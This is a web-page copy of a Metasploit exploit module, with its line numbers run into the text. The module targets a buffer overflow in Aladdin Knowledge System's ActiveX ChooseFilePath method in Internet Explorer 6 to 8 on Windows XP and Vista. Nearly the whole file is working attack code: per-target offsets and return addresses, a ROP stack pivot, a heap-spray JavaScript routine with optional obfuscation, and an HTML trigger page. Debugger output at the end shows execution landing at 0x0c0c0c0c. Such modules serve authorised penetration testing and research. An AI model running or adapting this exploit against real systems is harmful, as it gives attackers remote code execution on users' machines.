Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::BrowserExploitServer910def initialize(info={})11super(update_info(info,12'Name' => "Aladdin Knowledge System Ltd ChooseFilePath Buffer Overflow",13'Description' => %q{14This module exploits a vulnerability found in Aladdin Knowledge System's15ActiveX component. By supplying a long string of data to the ChooseFilePath()16function, a buffer overflow occurs, which may result in remote code execution17under the context of the user.18},19'License' => MSF_LICENSE,20'Author' =>21[22'shinnai', #Vulnerability Discovery23'b33f', #Original exploit24'sinn3r', #Metasploit25'juan vazquez' #Metasploit, IE8 target26],27'References' =>28[29[ 'OSVDB', '86723' ],30[ 'EDB', '22258' ],31[ 'EDB', '22301' ]32],33'Payload' =>34{35'StackAdjustment' => -350036},37'DefaultOptions' =>38{39'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'40},41'Platform' => 'win',42'BrowserRequirements' =>43{44:source => /script|headers/i,45:activex => [46{47clsid: "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",48method: "ChooseFilePath"49}50],51:os_name => OperatingSystems::Match::WINDOWS,52},53'Targets' =>54[55[ 'Automatic', {} ],56[57'Windows XP with IE 6',58{59'os_name' => OperatingSystems::Match::WINDOWS_XP,60'ua_name' => 'MSIE',61'ua_ver' => '6.0',62'Rop' => false,63'Offset' => '0x5F4',64'Ret' => 0x0c0c0c0c65}66],67[68'Windows XP with IE 7',69{70'os_name' => OperatingSystems::Match::WINDOWS_XP,71'ua_name' => 'MSIE',72'ua_ver' => '7.0',73'Rop' => false,74'Offset' => '0x5F4',75'Ret' => 0x0c0c0c0c76}77],78[79'Windows XP with IE 8',80{81'os_name' => OperatingSystems::Match::WINDOWS_XP,82'ua_name' => 'MSIE',83'ua_ver' => '8.0',84'Rop' => true,85'Offset' => '0x5f6',86'Ret' => 0x77c2282e # stackpivot # mov esp,ebp # pop ebp # retn # msvcrt.dll87}88],89[90'Windows Vista with IE 7',91{92'os_name' => OperatingSystems::Match::WINDOWS_VISTA,93'ua_name' => 'MSIE',94'ua_ver' => '7.0',95'Rop' => false,96'Offset' => '0x5F4',97'Ret' => 0x0c0c0c0c98}99]100101],102'Privileged' => false,103'DisclosureDate' => '2012-04-01',104'DefaultTarget' => 0))105106register_options(107[108OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])109], self.class110)111end112113114def ie_heap_spray(p)115js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(get_target.arch))116js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(get_target.arch))117randnop = rand_text_alpha(rand(100) + 1)118119# Land the payload at 0x0c0c0c0c120121js = %Q|122var heap_obj = new heapLib.ie(0x20000);123var code = unescape("#{js_code}");124var #{randnop} = "#{js_nops}";125var nops = unescape(#{randnop});126while (nops.length < 0x80000) nops += nops;127var offset = nops.substring(0, #{get_target['Offset']});128var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);129while (shellcode.length < 0x40000) shellcode += shellcode;130var block = shellcode.substring(0, (0x80000-6)/2);131heap_obj.gc();132for (var i=1; i < 0x300; i++) {133heap_obj.alloc(block);134}135|136137js = heaplib(js, {:noobfu => true})138139if datastore['OBFUSCATE']140js = ::Rex::Exploitation::JSObfu.new(js)141js.obfuscate(memory_sensitive: true)142end143144return js145end146147def exploit_template(cli, target_info)148149if get_target['Rop']150p = generate_rop_payload('msvcrt', get_payload(cli, target_info), {'target'=>'xp'})151else152p = get_payload(cli, target_info)153end154155spray = ie_heap_spray(p)156target_ret = Rex::Text.to_hex([get_target.ret].pack("V"))157158html_template = %Q|159<html>160<object id="pwnd" classid="clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6"></object>161<script>162<%=spray%>163junk='';164for( counter=0; counter<=267; counter++) junk+=unescape("%0c");165pwnd.ChooseFilePath(junk + "<%=target_ret%>");166</script>167</html>168|169170return html_template, binding()171end172173def on_request_exploit(cli, request, target_info)174print_status("Sending HTML...")175send_exploit_html(cli, exploit_template(cli, target_info))176end177end178179=begin1800:008> g181(82c.12dc): Access violation - code c0000005 (first chance)182First chance exceptions are reported before any exception handling.183This exception may be expected and handled.184eax=0c0c0c0c ebx=00001d56 ecx=020b93d4 edx=00001d56 esi=00001d60 edi=020b93e8185eip=7712a41a esp=020b93bc ebp=020b93c4 iopl=0 nv up ei pl zr na pe nc186cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246187OLEAUT32!SysReAllocStringLen+0x31:1887712a41a 8b00 mov eax,dword ptr [eax] ds:0023:0c0c0c0c=????????1890:008> g190(82c.12dc): Access violation - code c0000005 (first chance)191First chance exceptions are reported before any exception handling.192This exception may be expected and handled.193eax=00000000 ebx=00000000 ecx=0c0c0c0c edx=7c9032bc esi=00000000 edi=00000000194eip=0c0c0c0c esp=020b8fec ebp=020b900c iopl=0 nv up ei pl zr na pe nc195cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=000102461960c0c0c0c ?? ???1970:008> db 020bf798198020bf798 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................199020bf7a8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................200020bf7b8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................201020bf7c8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................202020bf7d8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................203020bf7e8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................204020bf7f8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................205020bf808 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................206=end207208209